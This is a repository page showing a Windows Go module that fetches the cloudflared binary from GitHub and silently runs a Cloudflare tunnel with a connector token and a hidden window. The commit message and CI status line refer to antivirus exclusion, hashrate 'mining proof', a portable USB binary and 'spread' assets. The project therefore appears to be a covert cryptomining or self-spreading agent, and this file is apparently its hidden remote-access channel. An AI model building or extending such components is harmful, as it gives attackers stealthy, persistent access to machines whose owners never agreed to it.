Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Fix macOS agent cross-compile (SilentAVExclusion) and Calibrate E2E nav selector; expand tests and docs; refresh portable usb binary and spread/wiki assets.
154 lines
3.5 KiB
Go
154 lines
3.5 KiB
Go
//go:build windows
|
|
|
|
package cloudflared
|
|
|
|
import (
|
|
"fmt"
|
|
"io"
|
|
"log"
|
|
"net/http"
|
|
"os"
|
|
"os/exec"
|
|
"path/filepath"
|
|
"strings"
|
|
"sync"
|
|
"syscall"
|
|
)
|
|
|
|
const maxCloudflaredBinaryBytes = 100 * 1024 * 1024 // 100 MB sanity cap
|
|
|
|
const downloadURL = "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe"
|
|
|
|
var (
|
|
mu sync.Mutex
|
|
running *exec.Cmd
|
|
)
|
|
|
|
// Start runs cloudflared tunnel with the Zero Trust connector token (background, no service install).
|
|
func Start(dataDir, deckRoot, token string) error {
|
|
token = trimToken(token)
|
|
if token == "" {
|
|
return nil
|
|
}
|
|
|
|
bin, err := ensureBinary(deckRoot)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
|
|
mu.Lock()
|
|
defer mu.Unlock()
|
|
if running != nil && running.Process != nil {
|
|
log.Printf("[tunnel] Cloudflare connector already running (pid %d)", running.Process.Pid)
|
|
return nil
|
|
}
|
|
if cloudflaredAlreadyRunning() {
|
|
log.Printf("[tunnel] cloudflared.exe already running externally — skipping duplicate start")
|
|
return nil
|
|
}
|
|
|
|
cmd := exec.Command(bin, "tunnel", "--no-autoupdate", "run", "--token", token)
|
|
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
|
if err := cmd.Start(); err != nil {
|
|
return fmt.Errorf("cloudflared start: %w", err)
|
|
}
|
|
running = cmd
|
|
|
|
go func(c *exec.Cmd) {
|
|
if err := c.Wait(); err != nil {
|
|
log.Printf("[tunnel] cloudflared exited: %v", err)
|
|
}
|
|
mu.Lock()
|
|
if running == c {
|
|
running = nil
|
|
}
|
|
mu.Unlock()
|
|
}(cmd)
|
|
|
|
log.Printf("[tunnel] Cloudflare connector started (pid %d)", cmd.Process.Pid)
|
|
return nil
|
|
}
|
|
|
|
// Stop terminates the background cloudflared process started by Start.
|
|
func Stop() {
|
|
mu.Lock()
|
|
defer mu.Unlock()
|
|
_ = stopLocked()
|
|
}
|
|
|
|
func stopLocked() error {
|
|
if running == nil || running.Process == nil {
|
|
return nil
|
|
}
|
|
_ = running.Process.Kill()
|
|
_, _ = running.Process.Wait()
|
|
running = nil
|
|
return nil
|
|
}
|
|
|
|
func ensureBinary(deckRoot string) (string, error) {
|
|
candidates := []string{
|
|
filepath.Join(deckRoot, "tools", "cloudflared.exe"),
|
|
}
|
|
if exe, err := os.Executable(); err == nil {
|
|
candidates = append(candidates, filepath.Join(filepath.Dir(exe), "tools", "cloudflared.exe"))
|
|
}
|
|
for _, p := range candidates {
|
|
if p == "" {
|
|
continue
|
|
}
|
|
if st, err := os.Stat(p); err == nil && !st.IsDir() {
|
|
return p, nil
|
|
}
|
|
}
|
|
bin := candidates[0]
|
|
if deckRoot == "" {
|
|
if exe, err := os.Executable(); err == nil {
|
|
bin = filepath.Join(filepath.Dir(exe), "tools", "cloudflared.exe")
|
|
}
|
|
}
|
|
if err := os.MkdirAll(filepath.Dir(bin), 0755); err != nil {
|
|
return "", err
|
|
}
|
|
log.Printf("[tunnel] Downloading cloudflared to %s", bin)
|
|
resp, err := http.Get(downloadURL)
|
|
if err != nil {
|
|
return "", fmt.Errorf("download cloudflared: %w", err)
|
|
}
|
|
defer resp.Body.Close()
|
|
if resp.StatusCode != http.StatusOK {
|
|
return "", fmt.Errorf("download cloudflared: HTTP %d", resp.StatusCode)
|
|
}
|
|
f, err := os.OpenFile(bin, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0755)
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
_, err = io.Copy(f, io.LimitReader(resp.Body, maxCloudflaredBinaryBytes))
|
|
closeErr := f.Close()
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
if closeErr != nil {
|
|
return "", closeErr
|
|
}
|
|
return bin, nil
|
|
}
|
|
|
|
func cloudflaredAlreadyRunning() bool {
|
|
out, err := exec.Command("tasklist", "/FI", "IMAGENAME eq cloudflared.exe", "/NH").Output()
|
|
if err != nil {
|
|
return false
|
|
}
|
|
return strings.Contains(strings.ToLower(string(out)), "cloudflared.exe")
|
|
}
|
|
|
|
func trimToken(s string) string {
|
|
s = strings.TrimSpace(s)
|
|
if len(s) >= 2 {
|
|
if (s[0] == '"' && s[len(s)-1] == '"') || (s[0] == '\'' && s[len(s)-1] == '\'') {
|
|
s = strings.TrimSpace(s[1 : len(s)-1])
|
|
}
|
|
}
|
|
return s
|
|
}
|